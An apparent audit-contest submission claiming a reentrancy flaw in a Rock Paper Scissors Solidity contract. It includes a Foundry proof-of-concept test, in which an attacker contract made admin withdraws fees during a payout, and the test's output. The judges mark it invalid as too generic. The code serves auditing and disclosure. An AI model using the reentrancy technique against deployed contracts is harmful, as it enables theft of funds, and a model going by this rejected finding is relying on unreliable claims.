Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Invalid

Reentrancy Vulnerability in ETH Payout Functions in RockPaperScissors.sol

Summary

The RockPaperScissors contract contains a High severity reentrancy vulnerability affecting multiple functions responsible for transferring ETH: withdrawFees, _finishGame, _handleTie, and _cancelGame. These functions utilize low-level .call{value: ...} for ETH transfers but lack adequate protection against reentrancy attacks, specifically the nonReentrant modifier provided by standard guards like OpenZeppelin's ReentrancyGuard. This absence allows a malicious contract receiving ETH to potentially call back into the RockPaperScissors contract during the transfer, enabling scenarios that could lead to state corruption or the loss/theft of protocol fees or player funds (winnings/refunds).

Vulnerability Details

The vulnerability stems from the use of low-level external calls (.call{value: _amount}("")) for transferring Ether within the RockPaperScissors.sol contract without implementing a reentrancy lock mechanism. Specifically, the following functions are affected:

  • withdrawFees(): Transfers accumulated protocol fees to the admin address. Located in src/RockPaperScissors.sol.

  • _finishGame(): An internal function that transfers the prize pool (less fees) to the game winner. Located in src/RockPaperScissors.sol.

  • _handleTie(): An internal function that transfers refunds (less fees) back to both players in case of a tie. Located in src/RockPaperScissors.sol.

  • _cancelGame(): An internal function that transfers the original bets back to players if a game is cancelled (e.g., via timeout). Located in src/RockPaperScissors.sol.

None of these functions utilize a standard reentrancy guard, such as OpenZeppelin's ReentrancyGuard and its nonReentrant modifier.

When .call{value: ...} is used to send ETH to an external address, if the recipient is a contract, its receive() or fallback() function is executed immediately within the same transaction context. This allows the recipient contract to make calls back into the RockPaperScissors contract before the execution of the original function (withdrawFees, _finishGame, etc.) has completed. This re-entry can bypass checks or manipulate state based on the assumption that the initial function call would complete atomically, potentially leading to unexpected behavior or exploitation. While some functions like withdrawFees may implement the Checks-Effects-Interactions (CEI) pattern internally (updating state before the call), this does not prevent the re-entry itself, which is the core vulnerability allowing potential cross-function interaction exploits.

PoC:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
// Imports needed for testing and the contracts
import "forge-std/Test.sol";
import "../src/RockPaperScissors.sol";
import "../src/WinningToken.sol";
import {MaliciousPlayer} from "./MaliciousPlayer.sol"; // Adjust path if needed
// Test contract inheriting from Foundry's Test
contract RockPaperScissorsTest is Test {
// Event definition for FeeWithdrawn (useful for PoC context)
event FeeWithdrawn(address indexed admin, uint256 amount);
// Contract instances
RockPaperScissors public game;
WinningToken public token;
MaliciousPlayer public maliciousPlayer; // Instance of attacker contract
// Test accounts
address public admin;
address public playerA;
address public playerB; // Not used in this specific PoC, but part of original setup
// Test constants needed for setup
uint256 constant BET_AMOUNT = 0.1 ether;
uint256 constant TIMEOUT = 10 minutes;
uint256 constant TOTAL_TURNS = 3; // Must be odd
// Game ID storage
uint256 public gameId;
// State variables specifically for controlling the reentrancy attack in the PoC test
uint public reentrancyAttackCounter = 0; // Counter for the test contract's receive()
bool public reentrancyAttackActive = false; // Flag for the test contract's receive()
// Setup function runs before the test
function setUp() public {
// Assign addresses
admin = address(this); // Test contract acts as the admin initially
playerA = makeAddr("playerA");
playerB = makeAddr("playerB"); // Keep for consistency if other tests use it
// Fund accounts
vm.deal(playerA, 10 ether);
vm.deal(playerB, 10 ether);
vm.deal(address(this), 1 ether); // Fund the test contract itself
// Deploy the main game contract (which deploys the token internally)
game = new RockPaperScissors();
token = WinningToken(game.winningToken()); // Get token instance
// Mint tokens needed for some internal logic
address tokenOwner = game.tokenOwner();
vm.startPrank(tokenOwner);
token.mint(playerA, 1); // Mint minimal amount
token.mint(playerB, 1);
vm.stopPrank();
// Reset reentrancy flags before the test runs
reentrancyAttackCounter = 0;
reentrancyAttackActive = false;
}
// ==================== HELPER FUNCTIONS (Required for PoC Setup) ====================
// Helper to create a game and have player B join (using EOA for player B here)
function createAndJoinGame_Helper(address _playerB_addr) internal returns (uint256) {
vm.prank(playerA); // Player A creates
uint256 id = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
vm.prank(_playerB_addr); // Specified player B joins
game.joinGameWithEth{value: BET_AMOUNT}(id);
return id;
}
// Helper to play a full turn (commit & reveal for both players)
// Uses corrected tuple destructuring to access game state
function playTurn_Helper(uint256 _gameId, address _playerA_addr, address _playerB_addr, RockPaperScissors.Move _moveA, RockPaperScissors.Move _moveB) internal {
// Destructure to get currentTurn (Slot 9 of 16)
(,,,,,,, , uint256 currentTurn_mem,,,,,,,) = game.games(_gameId);
// Player A commits
bytes32 saltA = keccak256(abi.encodePacked("saltA", _gameId, currentTurn_mem, uint8(_moveA)));
bytes32 commitA = keccak256(abi.encodePacked(uint8(_moveA), saltA));
vm.prank(_playerA_addr);
game.commitMove(_gameId, commitA);
// Player B commits
bytes32 saltB = keccak256(abi.encodePacked("saltB", _gameId, currentTurn_mem, uint8(_moveB)));
bytes32 commitB = keccak256(abi.encodePacked(uint8(_moveB), saltB));
vm.prank(_playerB_addr);
game.commitMove(_gameId, commitB);
// Player A reveals
vm.prank(_playerA_addr);
game.revealMove(_gameId, uint8(_moveA), saltA);
// Player B reveals
vm.prank(_playerB_addr);
game.revealMove(_gameId, uint8(_moveB), saltB);
}
// ==================== PLAYER PAYOUT REENTRANCY POC TEST ====================
function test_POC_ReentrancyPlayerPayout() public {
// Arrange: Setup game where MaliciousPlayer wins and is also admin
// 1. Deploy MaliciousPlayer
// --- FIX: Cast address(game) to payable ---
maliciousPlayer = new MaliciousPlayer(payable(address(game)));
vm.deal(address(maliciousPlayer), 1 ether); // Fund attacker contract
// 2. Set MaliciousPlayer as Admin
address originalAdmin = game.adminAddress(); // Usually address(this) from setUp
vm.prank(originalAdmin);
game.setAdmin(address(maliciousPlayer));
assertEq(game.adminAddress(), address(maliciousPlayer), "Setup Failed: MaliciousPlayer should be admin");
// 3. Create Game: PlayerA (EOA) vs MaliciousPlayer
vm.prank(playerA);
gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
// 4. MaliciousPlayer Joins
vm.prank(address(maliciousPlayer));
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
// 5. Play game so MaliciousPlayer wins (e.g., MP plays Rock, PlayerA plays Scissors)
// Turn 1: MP=Rock, A=Scissors (MP Wins)
vm.prank(address(maliciousPlayer));
maliciousPlayer.commitDefaultMove(gameId); // MP commits Rock
vm.prank(playerA);
bytes32 saltA1 = keccak256(abi.encodePacked("saltA1"));
bytes32 commitA1 = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Scissors), saltA1));
game.commitMove(gameId, commitA1); // Player A commits Scissors
vm.prank(address(maliciousPlayer));
maliciousPlayer.revealDefaultMove(gameId); // MP reveals Rock
vm.prank(playerA);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Scissors), saltA1); // Player A reveals Scissors
// Turn 2: MP=Rock, A=Scissors (MP Wins)
vm.prank(address(maliciousPlayer));
maliciousPlayer.commitDefaultMove(gameId); // MP commits Rock
vm.prank(playerA);
bytes32 saltA2 = keccak256(abi.encodePacked("saltA2"));
bytes32 commitA2 = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Scissors), saltA2));
game.commitMove(gameId, commitA2); // Player A commits Scissors
vm.prank(address(maliciousPlayer));
maliciousPlayer.revealDefaultMove(gameId); // MP reveals Rock
vm.prank(playerA);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Scissors), saltA2); // Player A reveals Scissors
// Turn 3: MP=Rock, A=Scissors (MP Wins -> Game Ends)
vm.prank(address(maliciousPlayer));
maliciousPlayer.commitDefaultMove(gameId); // MP commits Rock
vm.prank(playerA);
bytes32 saltA3 = keccak256(abi.encodePacked("saltA3"));
bytes32 commitA3 = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Scissors), saltA3));
game.commitMove(gameId, commitA3); // Player A commits Scissors
vm.prank(address(maliciousPlayer));
maliciousPlayer.revealDefaultMove(gameId); // MP reveals Rock
console.log("Triggering final reveal which should cause payout and re-entry...");
// --- FIX: Capture attacker balance BEFORE the action ---
uint256 attackerBalanceBeforeAction = address(maliciousPlayer).balance;
// Act: Player A reveals, triggering _finishGame -> payout -> receive() -> withdrawFees()
vm.expectEmit(true, false, false, true); // Expect FeeWithdrawn event during re-entry
uint256 expectedFeesToCollect = (BET_AMOUNT * 2) * game.PROTOCOL_FEE_PERCENT() / 100; // Calculate expected fee
emit FeeWithdrawn(address(maliciousPlayer), expectedFeesToCollect); // Expect the actual fee amount
vm.prank(playerA);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Scissors), saltA3); // Player A reveals Scissors
console.log("Final reveal finished.");
// Assert: Verify re-entry happened and fees were withdrawn during payout
uint256 attackerBalanceAfterPayout = address(maliciousPlayer).balance; // Captured AFTER action
uint256 gameBalanceAfterPayout = address(game).balance;
uint256 feesAfterPayout = game.accumulatedFees();
// 1. Check re-entry occurred in MaliciousPlayer
assertEq(maliciousPlayer.reentrancyCount(), 1, "PoC FAILED: MaliciousPlayer re-entry did not occur");
// 2. Check fees are now zero (were withdrawn during re-entry)
assertEq(feesAfterPayout, 0, "PoC FAILED: Fees were not withdrawn during re-entry");
// 3. Check game balance is zero (prize paid out, fees withdrawn)
assertEq(gameBalanceAfterPayout, 0, "PoC FAILED: Game balance not zero after payout and fee withdrawal");
// 4. Check attacker balance reflects prize + fees
uint256 prize = (BET_AMOUNT * 2) * (100 - game.PROTOCOL_FEE_PERCENT()) / 100;
// expectedFeesToCollect already calculated above
uint256 expectedBalanceIncrease = prize + expectedFeesToCollect;
uint256 actualBalanceIncrease = attackerBalanceAfterPayout - attackerBalanceBeforeAction; // Now uses correct 'before' balance
assertEq(actualBalanceIncrease, expectedBalanceIncrease, "PoC FAILED: Attacker balance increase incorrect");
console.log("--- Player Payout Reentrancy PoC Results ---");
console.log("Attacker Balance Before Action:", attackerBalanceBeforeAction); // Now correct
console.log("Attacker Final Balance: ", attackerBalanceAfterPayout);
console.log("Expected Prize: ", prize);
console.log("Fees Withdrawn in Re-entry:", expectedFeesToCollect); // Use the calculated fee
console.log("Expected Balance Increase:", expectedBalanceIncrease);
console.log("Actual Balance Increase: ", actualBalanceIncrease);
console.log("Re-entry Counter: ", maliciousPlayer.reentrancyCount()); // Should be 1
console.log("Final Fees in Contract: ", feesAfterPayout); // Should be 0
console.log("Final Game ETH Balance: ", gameBalanceAfterPayout); // Should be 0
console.log("SUCCESS: Re-entry during player payout allowed admin action (fee withdrawal).");
}
// --- Receive function for the TEST CONTRACT itself (if needed for other tests) ---
// Not used by the Player Payout PoC, but keep it if the other PoC is also present
receive() external payable {
console.log("Test Contract received ETH:", msg.value);
if (reentrancyAttackActive && reentrancyAttackCounter < 1) {
reentrancyAttackCounter++;
console.log("Re-entering withdrawFees from receive() in TEST CONTRACT...");
game.withdrawFees(0);
console.log("Re-entrant withdrawFees() call finished in TEST CONTRACT.");
} else {
console.log("Reentrancy logic not active or already triggered in TEST CONTRACT.");
}
}
} // --- End of RockPaperScissorsTest contract ---

PoC Result:

forge test --match-test test_POC_ReentrancyPlayerPayout -vvv
[⠰] Compiling...
[⠘] Compiling 2 files with Solc 0.8.20
[⠊] Solc 0.8.20 finished in 6.39s
Compiler run successful!
Ran 1 test for test/RockPaperScissors.t.sol:RockPaperScissorsTest
[PASS] test_POC_ReentrancyPlayerPayout() (gas: 805855)
Logs:
Triggering final reveal which should cause payout and re-entry...
Final reveal finished.
--- Player Payout Reentrancy PoC Results ---
Attacker Balance Before Action: 900000000000000000
Attacker Final Balance: 1100000000000000000
Expected Prize: 180000000000000000
Fees Withdrawn in Re-entry: 20000000000000000
Expected Balance Increase: 200000000000000000
Actual Balance Increase: 200000000000000000
Re-entry Counter: 1
Final Fees in Contract: 0
Final Game ETH Balance: 0
SUCCESS: Re-entry during player payout allowed admin action (fee withdrawal).
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.15ms (1.21ms CPU time)
Ran 1 test suite in 35.56ms (6.15ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

The primary impact of this vulnerability is the potential loss of funds, affecting both protocol fees and user assets (player bets/winnings). While the simple reentrancy exploit against withdrawFees was mitigated by the Checks-Effects-Interactions (CEI) pattern observed in that function, the lack of a nonReentrant guard still presents significant risks:

  • Theft of Fees/Winnings/Refunds: A malicious contract acting as an admin or player, upon receiving ETH from withdrawFees, _finishGame, _handleTie, or _cancelGame, can re-enter the contract. If CEI is not perfectly implemented in all payout/refund logic paths, or if a more complex reentrancy pattern bypasses the checks, an attacker could potentially withdraw more funds than entitled, draining protocol fees or player winnings/refunds.

  • State Corruption: The ability to execute arbitrary code via re-entrancy before the initial function completes allows an attacker to potentially call other functions within the RockPaperScissors contract. This could lead to inconsistent game states (e.g., cancelling a game during payout, interfering with score updates, manipulating commit/reveal phases), denial of service for specific games, or incorrect prize distribution. Our second PoC demonstrated that an admin function (withdrawFees) could indeed be called during a player payout (_finishGame).

  • Protocol Trust: A successful exploit resulting in fund loss would severely damage user trust and the reputation of the Rock Paper Scissors DApp.

The vulnerability affects core financial operations (fee handling, prize distribution, refunds), making its potential impact High.

Tools Used

Manuel code review

Forge foundry

Recommendations

The primary recommendation is to implement a reentrancy guard to prevent recursive calls into functions performing external ETH transfers. The widely adopted ReentrancyGuard contract from OpenZeppelin is recommended.

Updates

Appeal created

m3dython Lead Judge 2 months ago
Submission Judgement Published
Invalidated
Reason: Too generic
m3dython Lead Judge 2 months ago
Submission Judgement Published
Invalidated
Reason: Too generic

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.